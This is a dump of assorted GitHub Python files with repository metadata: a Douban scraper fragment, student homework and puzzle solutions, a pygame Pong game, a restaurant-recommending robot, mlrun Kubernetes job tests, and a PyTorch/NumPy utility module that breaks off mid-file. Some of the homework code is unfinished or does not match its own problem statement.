str(ROWNUM)] = dic_w_detail['导演']\n # 第三列\t主演\n sheet['C' + str(ROWNUM)] = dic_w_detail['主演']\n # 第四列\t评分\n sheet['D' + str(ROWNUM)] = dic_w_star['评分']\n # 第五列\t评论人数\n sheet['E' + str(ROWNUM)] = dic_w_star['评论人数']\n # 第六列\t时间\n sheet['F' + str(ROWNUM)] = dic_w_detail['时间']\n # 第七列\t地区\n sheet['G' + str(ROWNUM)] = dic_w_detail['地区']\n # 第八列\t类型\n sheet['H' + str(ROWNUM)] = dic_w_detail['类型']\n # 第九列\t简介\n sheet['I' + str(ROWNUM)] = dic_w_detail['简介']\n # 下移一行\n ROWNUM += 1\n# 设置表名\nsheet.title = SHEETNAME\n# 保存文件\nworkbook.save(WORKBOOKNAME)\n\n\"\"\"\n# 显示评分字典\nlogging.debug('============================')\nlogging.debug(str(dic_star_name))\n\"\"\"\n\"\"\"\n# 显示资料字典\nlogging.debug('============================')\nlogging.debug(str(dic_name))\n\"\"\"\n'''\n# 遍历list\nfor i in range(len(list_name)):\n\tlogging.debug('电影名:'+list_name[i])\nlogging.debug('list_name长度:'+str(len(list_name)))\n'''\nprint('完成!')\n","repo_name":"lyz21/MachineLearning","sub_path":"Movie/InternetWorm/douban250.py","file_name":"douban250.py","file_ext":"py","file_size_in_byte":8996,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26891603103","text":"# Write a function removezeros that does the following.\n#\n# The function has one parameter – list of integers.\n# The function finds all sublists (i.e. ranges of consecutive elements), which have zero as the sum of their elements,\n# and removes such sublists from the list. The sublists may overlap with each other.\n# The function doesn't return anything, it only changes the given list.\n# Example 1\n# >>> a = [10, 5, -3, -3, 1, 4, -4]\n# >>> removezeros(a)\n# >>> a\n# [10]\n#\n# Explanation. The sum of elements in the sublist [5, -3, -3, 1] is zero, so this sublist is removed. Also the sum of elements in the\n# sublist [4, -4] is zero, therefore this sublist is removed as well. Only the integer 10 remains in the list.\n#\n# Example 2\n# >>> b = [7, 2, 2, -1, -3, 1, 2, 1, 5]\n# >>> removezeros(b)\n# >>> b\n# [7, 5]\n#\n# Explanation. The list contains two sublists with the sum zero: [2, 2, -1, -3] and [-1, -3, 1, 2, 1].\n# Both are removed and only the numbers 7 and 5 remain.\n#\n# To check your program with the autotester, submit it with the name removezeros.py.\n\ninput_list = [1, 2, 3, -1, 3, -2, -5, 3]\n\n\ndef removezeros(input_list):\n\n all_subsets = []\n\n for i in range(len(input_list)):\n for j in range(i + 1, len(input_list)+1):\n all_subsets.append(input_list[i:j])\n\n print(all_subsets)\n\n for set in all_subsets:\n if sum(set) == 0:\n for x in set:\n if x in input_list:\n input_list.remove(x)\n\n\n print(input_list)\n return input_list\n\n\nremovezeros(input_list)\n","repo_name":"Nurech/Python_LTAT.03.001","sub_path":"homeworks/03.24/removezeros.py","file_name":"removezeros.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"33750438778","text":"# Import the pygame library and initialise the game engine\r\nimport pygame\r\nfrom OldPaddle import Paddle\r\nfrom Bullet import Bullet\r\n\r\npygame.init()\r\n\r\n# Define some colors\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\n\r\n# Open a new window\r\nsize = (700, 500)\r\nscreen = pygame.display.set_mode(size)\r\npygame.display.set_caption(\"Pong\")\r\n\r\nplayer_paddle = Paddle(WHITE, 10, 100)\r\nplayer_paddle.rect.x = 20\r\nplayer_paddle.rect.y = 200\r\n\r\ncpu_paddle = Paddle(WHITE, 10, 100)\r\ncpu_paddle.rect.x = 670\r\ncpu_paddle.rect.y = 200\r\n\r\n# This will be groups that will contain all the sprites we intend to use in our game.\r\npaddle_group = pygame.sprite.Group()\r\nbullet_group = pygame.sprite.Group()\r\n\r\n# Add the paddles to the list of sprites\r\npaddle_group.add(player_paddle)\r\npaddle_group.add(cpu_paddle)\r\n\r\n# The loop will carry on until the user exits the game (e.g. clicks the close button).\r\ncarryOn = True\r\n\r\n# The clock will be used to control how fast the screen updates\r\nclock = pygame.time.Clock()\r\n\r\n# -------- Main Program Loop -----------\r\nwhile carryOn:\r\n # --- Main event loop\r\n for event in pygame.event.get(): # User did something\r\n if event.type == pygame.QUIT: # If user clicked close\r\n carryOn = False # Flag that we are done so we exit this loop\r\n elif event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_x: # Pressing the x Key will quit the game\r\n carryOn = False\r\n\r\n # Moving the paddles when the user uses the arrow keys (player A) or \"W/S\" keys (player B)\r\n keys = pygame.key.get_pressed()\r\n # if keys[pygame.K_w]:\r\n # cpu_paddle.moveUp(5)\r\n # if keys[pygame.K_s]:\r\n # cpu_paddle.moveDown(5)\r\n if keys[pygame.K_UP]:\r\n player_paddle.moveUp(5)\r\n if keys[pygame.K_DOWN]:\r\n player_paddle.moveDown(5)\r\n if keys[pygame.K_SPACE]:\r\n bullet = player_paddle.shoot()\r\n if bullet:\r\n bullet_group.add(bullet)\r\n\r\n # --- Game logic should go here\r\n paddle_group.update()\r\n bullet_group.update()\r\n\r\n # --- Drawing code should go here\r\n # First, clear the screen to black.\r\n screen.fill(BLACK)\r\n # Draw the net\r\n pygame.draw.line(screen, WHITE, [349, 0], [349, 500], 5)\r\n\r\n # Draw all the sprites in one go.\r\n paddle_group.draw(screen)\r\n bullet_group.draw(screen)\r\n\r\n # Update the screen with what we've drawn.\r\n pygame.display.flip()\r\n\r\n # Limit to 60 frames per second\r\n clock.tick(60)\r\n\r\n# Once we have exited the main program loop we can stop the game engine:\r\npygame.quit()\r\n","repo_name":"TylerSerrette/CMPS455","sub_path":"Pong with guns/ScratchGame.py","file_name":"ScratchGame.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39340850576","text":"from roboter.view import console\nfrom roboter.model import ranking\n\nDEFAULT_ROBOT_NAME = \"Yeji\"\nDEFAULT_USER_NAME = \"Joonhee\"\nDEFAULT_COLOR = \"blue\"\n\n\nclass Robot:\n \"\"\"\n This is a base class will be inherited\n \"\"\"\n\n def __init__(self, robot_name=DEFAULT_ROBOT_NAME, username=DEFAULT_USER_NAME, color=DEFAULT_COLOR):\n self.robot_name = robot_name\n self.username = username\n self.color = color\n\n def hello(self):\n while True:\n template = console.get_template_path(\"welcome.txt\", self.color)\n username = input(template.substitute({\"robot_name\": self.robot_name}))\n\n if username:\n self.username = username.title()\n break\n\n\nclass RestaurantRobot(Robot):\n \"\"\"\n This is a class to recommend restaurant\n \"\"\"\n def __init__(self, name=DEFAULT_ROBOT_NAME):\n super().__init__(robot_name= name)\n self.ranking_model = ranking.RankingModel()\n\n def _hello_decorator(func):\n def wrapper(self):\n if not self.username:\n self.hello()\n return func(self)\n return wrapper\n\n\n @_hello_decorator\n def recommend_restaurant(self):\n new_recommend_restaurant = self.ranking_model.get_most_popular()\n print(new_recommend_restaurant)\n if not new_recommend_restaurant:\n return None\n will_recommend_restaurants = [new_recommend_restaurant]\n\n while True:\n template = console.get_template_path(\"recommend_restaurant.txt\", self.color)\n is_yes = input(template.substitute({\n \"RESTAURANT_NAME\": new_recommend_restaurant\n }))\n\n if is_yes.lower() == \"y\" or is_yes.lower() == \"yes\":\n break\n\n if is_yes.lower() == \"n\" or is_yes.lower() == \"no\":\n new_recommend_restaurant = self.ranking_model.get_most_popular(\n not_list=will_recommend_restaurants\n )\n if not new_recommend_restaurant:\n break\n will_recommend_restaurants.append(new_recommend_restaurant)\n\n @_hello_decorator\n def ask_user_favorite(self):\n while True:\n template = console.get_template_path(\n \"ask_restaurant.txt\", self.color\n )\n restaurant = input(template.substitute({\n \"user_name\": self.username\n }))\n if restaurant:\n self.ranking_model.increment(restaurant)\n break\n\n @_hello_decorator\n def thank_you(self):\n \"\"\"Show words of appreciation to users.\"\"\"\n template = console.get_template_path('thanks.txt', self.color)\n print(template.substitute({'USER_NAME': self.username}))\n\n\n\n\n\n\n","repo_name":"jjoonhee/py_test","sub_path":"roboter/model/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"23573418157","text":"import base64\nimport json\nimport os\n\nimport deepdiff\nimport pytest\nfrom fastapi.testclient import TestClient\nfrom sqlalchemy.orm import Session\n\nimport mlrun.errors\nfrom mlrun.config import config as mlconf\nfrom mlrun.platforms import auto_mount\nfrom mlrun.runtimes.kubejob import KubejobRuntime\nfrom mlrun.runtimes.utils import generate_resources\nfrom tests.api.conftest import K8sSecretsMock\nfrom tests.api.runtimes.base import TestRuntimeBase\n\n\nclass TestKubejobRuntime(TestRuntimeBase):\n def custom_setup_after_fixtures(self):\n self._mock_create_namespaced_pod()\n # auto-mount is looking at this to check if we're running on Iguazio\n mlconf.igz_version = \"some_version\"\n\n def custom_setup(self):\n self.image_name = \"mlrun/mlrun:latest\"\n\n def _generate_runtime(self):\n runtime = KubejobRuntime()\n runtime.spec.image = self.image_name\n return runtime\n\n def test_run_without_runspec(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n self._execute_run(runtime)\n self._assert_pod_creation_config()\n\n params = {\"p1\": \"v1\", \"p2\": 20}\n inputs = {\"input1\": f\"{self.artifact_path}/input1.txt\"}\n\n self._execute_run(runtime, params=params, inputs=inputs)\n self._assert_pod_creation_config(expected_params=params, expected_inputs=inputs)\n\n def test_run_with_runspec(self, db: Session, client: TestClient):\n task = self._generate_task()\n params = {\"p1\": \"v1\", \"p2\": 20}\n task.with_params(**params)\n inputs = {\n \"input1\": f\"{self.artifact_path}/input1.txt\",\n \"input2\": f\"{self.artifact_path}/input2.csv\",\n }\n for key in inputs:\n task.with_input(key, inputs[key])\n hyper_params = {\"p2\": [1, 2, 3]}\n task.with_hyper_params(hyper_params, \"min.loss\")\n secret_source = {\n \"kind\": \"inline\",\n \"source\": {\"secret1\": \"password1\", \"secret2\": \"password2\"},\n }\n task.with_secrets(secret_source[\"kind\"], secret_source[\"source\"])\n\n runtime = self._generate_runtime()\n self._execute_run(runtime, runspec=task)\n self._assert_pod_creation_config(\n expected_params=params,\n expected_inputs=inputs,\n expected_hyper_params=hyper_params,\n expected_secrets=secret_source,\n )\n\n def test_run_with_resource_limits_and_requests(\n self, db: Session, client: TestClient\n ):\n runtime = self._generate_runtime()\n\n gpu_type = \"test/gpu\"\n expected_limits = generate_resources(2, 4, 4, gpu_type)\n runtime.with_limits(\n mem=expected_limits[\"memory\"],\n cpu=expected_limits[\"cpu\"],\n gpus=expected_limits[gpu_type],\n gpu_type=gpu_type,\n )\n\n expected_requests = generate_resources(mem=2, cpu=3)\n runtime.with_requests(\n mem=expected_requests[\"memory\"], cpu=expected_requests[\"cpu\"]\n )\n\n self._execute_run(runtime)\n self._assert_pod_creation_config(\n expected_limits=expected_limits, expected_requests=expected_requests\n )\n\n def test_run_with_node_selection(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n node_name = \"some-node-name\"\n runtime.with_node_selection(node_name)\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_node_name=node_name)\n\n runtime = self._generate_runtime()\n\n node_selector = {\n \"label-1\": \"val1\",\n \"label-2\": \"val2\",\n }\n mlrun.mlconf.default_function_node_selector = base64.b64encode(\n json.dumps(node_selector).encode(\"utf-8\")\n )\n runtime.with_node_selection(node_selector=node_selector)\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_node_selector=node_selector)\n\n runtime = self._generate_runtime()\n\n node_selector = {\n \"label-3\": \"val3\",\n \"label-4\": \"val4\",\n }\n runtime.with_node_selection(node_selector=node_selector)\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_node_selector=node_selector)\n\n runtime = self._generate_runtime()\n affinity = self._generate_affinity()\n runtime.with_node_selection(affinity=affinity)\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_affinity=affinity)\n\n runtime = self._generate_runtime()\n runtime.with_node_selection(node_name, node_selector, affinity)\n self._execute_run(runtime)\n self._assert_pod_creation_config(\n expected_node_name=node_name,\n expected_node_selector=node_selector,\n expected_affinity=affinity,\n )\n\n def test_run_with_priority_class_name(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n medium_priority_class_name = \"medium-priority\"\n mlrun.mlconf.valid_function_priority_class_names = medium_priority_class_name\n runtime.with_priority_class(medium_priority_class_name)\n self._execute_run(runtime)\n self._assert_pod_creation_config(\n expected_priority_class_name=medium_priority_class_name\n )\n\n default_priority_class_name = \"default-priority\"\n mlrun.mlconf.default_function_priority_class_name = default_priority_class_name\n mlrun.mlconf.valid_function_priority_class_names = \",\".join(\n [default_priority_class_name, medium_priority_class_name]\n )\n runtime = self._generate_runtime()\n\n self._execute_run(runtime)\n self._assert_pod_creation_config(\n expected_priority_class_name=default_priority_class_name\n )\n\n runtime = self._generate_runtime()\n\n mlrun.mlconf.valid_function_priority_class_names = \"\"\n with pytest.raises(mlrun.errors.MLRunInvalidArgumentError):\n runtime.with_priority_class(medium_priority_class_name)\n\n def test_run_with_mounts(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n # Mount v3io - Set the env variable, so auto_mount() will pick it up and mount v3io\n v3io_access_key = \"1111-2222-3333-4444\"\n v3io_user = \"test-user\"\n os.environ[\"V3IO_ACCESS_KEY\"] = v3io_access_key\n os.environ[\"V3IO_USERNAME\"] = v3io_user\n runtime.apply(auto_mount())\n\n self._execute_run(runtime)\n self._assert_pod_creation_config()\n self._assert_v3io_mount_or_creds_configured(v3io_user, v3io_access_key)\n\n # Mount a PVC. Create a new runtime so we don't have both v3io and the PVC mounted\n runtime = self._generate_runtime()\n pvc_name = \"test-pvc\"\n pvc_mount_path = \"/volume/mount/path\"\n volume_name = \"test-volume-name\"\n runtime.apply(auto_mount(pvc_name, pvc_mount_path, volume_name))\n\n self._execute_run(runtime)\n self._assert_pod_creation_config()\n self._assert_pvc_mount_configured(pvc_name, pvc_mount_path, volume_name)\n\n def test_run_with_k8s_secrets(self, db: Session, k8s_secrets_mock: K8sSecretsMock):\n secret_keys = [\"secret1\", \"secret2\", \"secret3\", \"mlrun.internal_secret\"]\n secrets = {key: \"some-secret-value\" for key in secret_keys}\n\n k8s_secrets_mock.store_project_secrets(self.project, secrets)\n\n runtime = self._generate_runtime()\n\n task = self._generate_task()\n task.metadata.project = self.project\n secret_source = {\n \"kind\": \"kubernetes\",\n \"source\": secret_keys,\n }\n task.with_secrets(secret_source[\"kind\"], secret_keys)\n\n self._execute_run(runtime, runspec=task)\n\n # We don't expect the internal secret to be visible - the user cannot mount it to the function\n # even if specifically asking for it in with_secrets()\n expected_env_from_secrets = k8s_secrets_mock.get_expected_env_variables_from_secrets(\n self.project, include_internal=False\n )\n\n self._assert_pod_creation_config(\n expected_secrets=secret_source,\n expected_env_from_secrets=expected_env_from_secrets,\n )\n\n # Now do the same with auto-mounting of project-secrets, validate internal secret is not visible\n runtime = self._generate_runtime()\n task = self._generate_task()\n task.metadata.project = self.project\n\n self._execute_run(runtime, runspec=task)\n self._assert_pod_creation_config(\n expected_env_from_secrets=expected_env_from_secrets,\n )\n\n def test_run_with_vault_secrets(self, db: Session, client: TestClient):\n self._mock_vault_functionality()\n runtime = self._generate_runtime()\n\n task = self._generate_task()\n\n task.metadata.project = self.project\n secret_source = {\n \"kind\": \"vault\",\n \"source\": {\"project\": self.project, \"secrets\": self.vault_secrets},\n }\n task.with_secrets(secret_source[\"kind\"], self.vault_secrets)\n vault_url = \"/url/for/vault\"\n mlconf.secret_stores.vault.remote_url = vault_url\n mlconf.secret_stores.vault.token_path = vault_url\n\n self._execute_run(runtime, runspec=task)\n\n self._assert_pod_creation_config(\n expected_secrets=secret_source,\n expected_env={\n \"MLRUN_SECRET_STORES__VAULT__ROLE\": f\"project:{self.project}\",\n \"MLRUN_SECRET_STORES__VAULT__URL\": vault_url,\n },\n )\n\n self._assert_secret_mount(\n \"vault-secret\", self.vault_secret_name, 420, vault_url\n )\n\n def test_run_with_code(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n expected_code = \"\"\"\ndef my_func(context):\n print(\"Hello cruel world\")\n \"\"\"\n runtime.with_code(body=expected_code)\n\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_code=expected_code)\n\n def test_set_env(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n env = {\"MLRUN_LOG_LEVEL\": \"DEBUG\", \"IMAGE_HEIGHT\": \"128\"}\n for env_variable in env:\n runtime.set_env(env_variable, env[env_variable])\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_env=env)\n\n # set the same env key for a different value and check that the updated one is used\n env2 = {\"MLRUN_LOG_LEVEL\": \"ERROR\", \"IMAGE_HEIGHT\": \"128\"}\n runtime.set_env(\"MLRUN_LOG_LEVEL\", \"ERROR\")\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_env=env2)\n\n def test_run_with_code_with_file(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n runtime.with_code(from_file=self.code_filename)\n\n self._execute_run(runtime)\n self._assert_pod_creation_config(expected_code=open(self.code_filename).read())\n\n def test_run_with_code_and_file(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n expected_code = \"\"\"\n def my_func(context):\n print(\"Hello cruel world\")\n \"\"\"\n\n with pytest.raises(mlrun.errors.MLRunInvalidArgumentError) as excinfo:\n runtime.with_code(from_file=self.code_filename, body=expected_code)\n assert \"must provide either body or from_file argument. not both\" in str(\n excinfo.value\n )\n\n def test_run_with_code_empty(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n\n with pytest.raises(ValueError) as excinfo:\n runtime.with_code()\n assert \"please specify\" in str(excinfo.value)\n\n def test_set_label(self, db: Session, client: TestClient):\n task = self._generate_task()\n task.set_label(\"category\", \"test\")\n labels = {\"category\": \"test\"}\n\n runtime = self._generate_runtime()\n self._execute_run(runtime, runspec=task)\n self._assert_pod_creation_config(expected_labels=labels)\n\n def test_with_requirements(self, db: Session, client: TestClient):\n runtime = self._generate_runtime()\n runtime.with_requirements(self.requirements_file)\n expected_commands = [\"python -m pip install faker python-dotenv\"]\n assert (\n deepdiff.DeepDiff(\n expected_commands, runtime.spec.build.commands, ignore_order=True,\n )\n == {}\n )\n","repo_name":"jasonnIguazio/ghpages-mlrun","sub_path":"tests/api/runtimes/test_kubejob.py","file_name":"test_kubejob.py","file_ext":"py","file_size_in_byte":12587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5391931426","text":"factorial = [1, 2, 6, 24, 120, 720, 5040, 40320, 362880, 3628800]\nN = int(input())\ni = 0\ncount = 0\nfor num in factorial:\n if num > N:\n index = i\n break\n i += 1\nfor num in range(index-1, -1, -1):\n while N - factorial[num] >= 0:\n count += 1\n N -= factorial[num]\nprint(count)","repo_name":"RatulAlMamun/URI-Solution","sub_path":"02. Ad-Hoc/URI 1936 - Factorial.py","file_name":"URI 1936 - Factorial.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"40051669515","text":"# link to problem: https://www.hackerrank.com/challenges/queens-attack-2/problem\n\ndef count_boxes(dx, dy, q_coord, ob):\n current_count = 0\n queen_row, queen_col = q_coord[0], q_coord[1]\n queen_col += dx\n queen_row += dy\n while 1 <= queen_col <= n and 1 <= queen_row <= n:\n\n if [queen_row, queen_col] in ob:\n return current_count\n else:\n current_count += 1\n queen_col += dx\n queen_row += dy\n return current_count\n\ndef queensAttack(n, k, r_q, c_q, obstacles):\n moves = {\n 'horizontal_left': count_boxes(dx=-1, dy=0, q_coord=(r_q, c_q), ob=obstacles),\n 'horizontal_right': count_boxes(dx=+1, dy=0, q_coord=(r_q, c_q), ob=obstacles),\n 'vertical_up': count_boxes(dx=0, dy=+1, q_coord=(r_q, c_q), ob=obstacles),\n 'vertical_down': count_boxes(dx=0, dy=-1, q_coord=(r_q, c_q), ob=obstacles),\n 'diag_down_right': count_boxes(dx=+1, dy=-1, q_coord=(r_q, c_q), ob=obstacles),\n 'diag_down_left': count_boxes(dx=-1, dy=-1, q_coord=(r_q, c_q), ob=obstacles),\n 'diag_up_right': count_boxes(dx=+1, dy=+1, q_coord=(r_q, c_q), ob=obstacles),\n 'diag_up_left': count_boxes(dx=-1, dy=+1, q_coord=(r_q, c_q), ob=obstacles),\n }\n count = sum(moves.values())\n return count\n\n\nfirst_multiple_input = input().rstrip().split()\nn = int(first_multiple_input[0])\nk = int(first_multiple_input[1])\n\nsecond_multiple_input = input().rstrip().split()\nr_q = int(second_multiple_input[0])\nc_q = int(second_multiple_input[1])\n\nobstacles = []\nfor _ in range(k):\n obstacles.append(list(map(int, input().rstrip().split())))\n\nresult = queensAttack(n, k, r_q, c_q, obstacles)\nprint(result)","repo_name":"L-Ignatova/hacker-rank-challenges","sub_path":"problem-solving/queens_attack.py","file_name":"queens_attack.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"31162298255","text":"#Aluno: Vinicius Augusto Andrade Albuquerque (Apolo)\n\nalfabeto = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n\nclass Aresta:\n def __init__(self, vertice1, peso, vertice2):\n self.vertice1 = vertice1\n self.peso = peso\n self.vertice2 = vertice2\n\nclass Vertice:\n def __init__(self, nome):\n self.nome = nome\n\nclass Grafo:\n def __init__(self, qtdVertices):\n self.qtdVertices = qtdVertices\n self.matrizArestas = None\n def gerarMatriz(self, matriz):\n mtz = []\n linhaMatriz = 0\n colunaMatriz = 0\n for linha in matriz:\n mtz.append([])\n for coluna in linha:\n mtz[linhaMatriz].append(None)\n if coluna != str(0):\n vertice1 = Vertice(alfabeto[linhaMatriz])\n vertice2 = Vertice(alfabeto[colunaMatriz])\n mtz[linhaMatriz][colunaMatriz]= Aresta(vertice1,coluna,vertice2)\n colunaMatriz += 1\n else:\n colunaMatriz += 1\n linhaMatriz += 1\n colunaMatriz = 0\n self.matrizArestas = mtz\n\n\ndef Prim(grafo):\n Mst = [[]*grafo.qtdVertices]\n linhaMatriz = 0\n colunaMatriz = 0\n listaPesos = [] \n for linha in grafo.matrizArestas:\n for coluna in linha:\n if coluna.peso != 0:\n pass\n return Mst\n\nentrada = open('L11Q1_in.txt', 'r')\nlista_arvores = []\nfor linha in entrada:\n lista_arvores.append(linha.split())\nentrada.close\n\ng1 = Grafo(9)\ng1.gerarMatriz(lista_arvores)\nfor l in g1.matrizArestas:\n for c in l:\n if c:\n print(f\"{c.vertice1.nome}-{c.peso}-{c.vertice2.nome} \", end=\"\")\n else:\n print(\"0 \",end=\"\")\n print()\n\n\n","repo_name":"apoloapolo/algoritmos-e-estruturas-de-dados","sub_path":"Listas/L11Q1/L11Q1.py","file_name":"L11Q1.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"42998077624","text":"import codecs\nimport pickle\nimport warnings\nfrom itertools import product\nfrom typing import Any, Callable, Iterator, List, NoReturn, Tuple, TypeVar, Union\n\nimport numpy as np\nimport torch\nfrom numpy.linalg import LinAlgError\nfrom torch import nn\n\n\nT = TypeVar(\"T\", dict, list, np.ndarray, torch.Tensor) # pylint: disable=invalid-name\n\n# Type alias to accept both NumPy arrays and Torch tensors.\nNdTensor = Union[np.ndarray, torch.Tensor]\n\n\ndef is_numpy(val: NdTensor) -> bool:\n \"\"\"Checks if the given :py:class:`NdTensor` is a NumPy array.\"\"\"\n return isinstance(val, np.ndarray)\n\n\ndef is_torch(val: NdTensor) -> bool:\n \"\"\"Checks if the given :py:class:`NdTensor` is a Torch tensor.\"\"\"\n return isinstance(val, torch.Tensor)\n\n\ndef to_numpy(val: NdTensor, *, force_detach: bool = False, copy: bool = False) -> np.ndarray:\n \"\"\"\n Converts the given tensor (which can also be a NumPy array) into a NumPy array and copies it to the CPU. If it\n already is a NumPy array, it is not converted (this method is idempotent). If the Torch tensor `requires_grad`, it\n is detached first. Additionally, if `force_detach` or `copy` is `True`, it is also detached. If `copy` is `True`,\n the converted NumPy array is copied using the :py:meth:`numpy.ndarray.copy` method if the\n :py:attr:`numpy.ndarray.base` is not `None`.\n\n :param val: tensor to convert\n :param force_detach: whether to always detach the tensor before copying it to the CPU, ignoring whether it\n `requires_grad`\n :param copy: whether to copy the NumPy array after conversion (implies `force_detach`); only applied if the `base`\n of the array is not `None`\n :return: the numpy array with same shape as `val`; the underlying data type is handled automatically by PyTorch's\n :py:meth:`torch.Tensor.numpy` method\n \"\"\"\n force_detach = force_detach or copy\n if not is_numpy(val):\n if val.requires_grad or force_detach or copy:\n val = val.detach()\n val = val.cpu().numpy()\n if copy and val.base is not None:\n val = val.copy()\n return val\n\n\ndef pickle_str(obj: Any) -> str:\n \"\"\"\n Pickles the given object using :py:meth:`pickle.dumps` and base64-encodes the result. Can be unpickled using\n :py:meth:`.unpickle_str`.\n\n :param obj: object to pickle\n :return: base64-representation of the pickled object\n \"\"\"\n return codecs.encode(pickle.dumps(obj), \"base64\").decode()\n\n\ndef unpickle_str(obj: str) -> Any:\n \"\"\"\n Unpickles the given base64-representation of a pickle object as produced by :py:meth:`.pickle_str`.\n\n :param obj: base64-representation of the pickled object\n :return: unpickled object\n \"\"\"\n return pickle.loads(codecs.decode(obj.encode(), \"base64\"))\n\n\ndef periodic(half_period: float) -> Callable[[Callable[[NdTensor], NdTensor]], NoReturn]:\n \"\"\"\n Generates a decorator that can be used to make any function periodic by applying the modulus operator as follows:\n\n .. math::\n y = f([x + T]_{2T} - T)\n\n where :math:`T` is the `half_period`, :math:`f` is the wrapped function and :math:`x`, :math:`y` are the input and\n output values, respectively.\n\n :param half_period: half value of the period of the result for function; for sine this would be :math:`\\\\pi`\n :return: decorator to be applied on the function\n \"\"\"\n\n def decorator(func: Callable[[NdTensor], NdTensor]) -> Callable[[NdTensor], NdTensor]:\n def wrapped(x: NdTensor):\n return func((x + half_period) % (2 * half_period) - half_period)\n\n return wrapped\n\n return decorator\n\n\ndef process_as_numpy_array(tensor: torch.Tensor, func: Callable[[np.ndarray], np.ndarray]) -> torch.Tensor:\n \"\"\"\n Invokes the given callable `func` with a detached version of `tensor` (using :py:meth:`to_numpy`) converted to a\n NumPy array. The resulting NumPy array is than converted back to a Torch tensor using :py:meth:`torch.from_numpy`.\n The tensor is copied back to the original device `tensor` is on.\n\n :param tensor: tensor to process\n :param func: callable to invoke with the given tensor converted to a NumPy array\n :return: resulting NumPy array converted to a Torch tensor\n \"\"\"\n return torch.from_numpy(func(to_numpy(tensor))).to(tensor.device)\n\n\ndef split_parameter_groups(model: nn.Module) -> Tuple[List[str], List[torch.nn.Parameter]]:\n \"\"\"\n Gets the parameters of the given `model` and, if they require taking a gradient, adds them to the list of learnable\n parameters. The names of the parameters groups are also extracted.\n\n :param model: model to extract the parameters from\n :return: tuple `(parameter_group_names, opt_parameters)`; the names of the parameter groups and the learnable\n parameters such that the `i`-th element of the parameter group names corresponds to the `i`-th parameter\n \"\"\"\n parameter_group_names, opt_parameters = [], []\n for name, params in model.named_parameters():\n if params.requires_grad:\n parameter_group_names.append(name)\n opt_parameters.append(params)\n return parameter_group_names, opt_parameters\n\n\ndef apply_parameter_name_selector(names: List[str], selector: List[str]) -> List[str]:\n \"\"\"\n Applies the given `selector` to the given list of `names`. A name is included in the result if it is contained in\n the given `selector` and a name is removed from the result if it is contained in the given `selector` and is\n preceded by an exclamation mark (`!`). The special name `all` includes all `names` in the result. Excludes take\n precedence over includes.\n\n :param names: all available names\n :param selector: selector to apply\n :return: selected names according to the above rules; contains no duplicates but are in an arbitrary order\n \"\"\"\n result = []\n negations = []\n for filt in selector:\n if filt == \"all\":\n result += names\n elif filt.startswith(\"!\"):\n negations.append(filt[1:])\n elif filt in names:\n result.append(filt)\n else:\n assert False, f\"unknown name {filt!r}\"\n for filt in negations:\n if filt in names:\n result.remove(filt)\n else:\n assert False, f\"unknown name {filt!r}\"\n return list(set(result))\n\n\ndef gen_index_iterator(val: NdTensor) -> Iterator[tuple]:\n \"\"\"\n Creates an iterator over the indices of the given tensor (which can also be a NumPy array), over all dimensions.\n The resulting iterator is a list of tuples each corresponding to a single element. For example, the elements of the\n iterator for an array with shape `(2, 3)` would be `(0, 0)`, `(0, 1)`, `(0, 2)`, `(1, 0)`, `(1, 1)`, and `(1, 2)`.\n\n :param val: tensor to iterate over\n :return: iterator with the index tuples as described before\n \"\"\"\n assert len(val.shape) > 0, \"val has to have at least one dimension\"\n indices = [range(dim_length) for dim_length in val.shape]\n return product(*indices)\n\n\ndef make_positive_definite(val: NdTensor, *, warn_on_jitter: bool = True, jitter_exponent_lo: int = -10, jitter_exponent_up: int = 0) -> NdTensor:\n \"\"\"\n Makes the given two-dimensional quadratic tensor `val` positive definite by adding jittering on the diagonal. Tries\n to start with no jittering and subsequently adds jittering starting from `10 ** jitter_exponent_lo` up to\n `10 ** jitter_exponent_up` (in equidistant steps of `1` in the exponent).\n\n :param val: matrix to make positive definite\n :param warn_on_jitter: whether a `UserWarning` should be printed when jittering is applied\n :param jitter_exponent_lo: first jittering exponent value that is applied\n :param jitter_exponent_up: last jittering exponent to try\n :return: the jittered matrix\n :raises RuntimeError: if the matrix was not positive definite after adding jittering of `10 